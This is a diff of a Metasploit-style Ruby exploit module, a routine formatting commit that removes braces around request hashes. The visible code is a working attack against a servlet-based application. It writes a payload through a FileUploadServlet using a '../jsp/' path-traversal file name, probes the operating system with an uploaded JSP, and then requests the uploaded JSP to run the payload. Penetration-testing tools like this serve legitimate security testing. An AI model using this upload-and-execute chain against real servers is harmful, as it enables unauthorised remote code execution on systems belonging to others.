@@ -72,10 +72,8 @@ def initialize(info = {})
72
72
73
73
def check
74
74
res = send_request_cgi (
75
- {
76
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
77
- 'method' => 'GET'
78
- }
75
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
76
+ 'method' => 'GET'
79
77
)
80
78
if res && res . code == 405
81
79
return Exploit ::CheckCode ::Detected
@@ -90,13 +88,11 @@ def upload_payload(payload, is_exploit)
90
88
print_status ( "#{ peer } - Uploading payload..." )
91
89
end
92
90
res = send_request_cgi (
93
- {
94
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
95
- 'method' => 'POST' ,
96
- 'data' => payload . to_s ,
97
- 'ctype' => 'text/html' ,
98
- 'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
99
- }
91
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
92
+ 'method' => 'POST' ,
93
+ 'data' => payload . to_s ,
94
+ 'ctype' => 'text/html' ,
95
+ 'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
100
96
)
101
97
102
98
if res && res . code == 200 && res . body . to_s =~ /Successfully written polleddata file/
@@ -117,10 +113,8 @@ def pick_target
117
113
jsp_name = upload_payload ( os_finder_payload , false )
118
114
119
115
res = send_request_cgi (
120
- {
121
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
122
- 'method' => 'GET'
123
- }
116
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
117
+ 'method' => 'GET'
124
118
)
125
119
126
120
if res && res . code == 200
@@ -221,10 +215,8 @@ def exploit
221
215
222
216
print_status ( "#{ peer } - Executing payload..." )
223
217
send_request_cgi (
224
- {
225
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
226
- 'method' => 'GET'
227
- }
218
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
219
+ 'method' => 'GET'
228
220
)
229
221
end
230
222
end
0 commit comments